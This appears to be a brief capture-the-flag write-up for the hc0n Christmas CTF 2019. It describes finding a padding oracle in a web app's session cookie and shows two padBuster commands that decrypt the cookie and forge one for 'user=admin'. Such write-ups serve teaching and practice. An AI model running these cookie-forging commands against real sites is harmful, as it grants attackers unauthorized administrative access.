hc0n Christmas CTF - 2019


I started enumerating the machine using my tool Legion:

There are 2 ports open: 80 (HTTP) and 22 (SSH)

In the web page you can register new users, and I noticed that the length of the cookie depends on the length of the username indicated:

And if you change some byte of the cookie you get this error:

With this information and reading the padding oracle vulnerability I was able to exploit it:

perl ./padBuster.pl "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"

Set user admin:

perl ./padBuster.pl "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"

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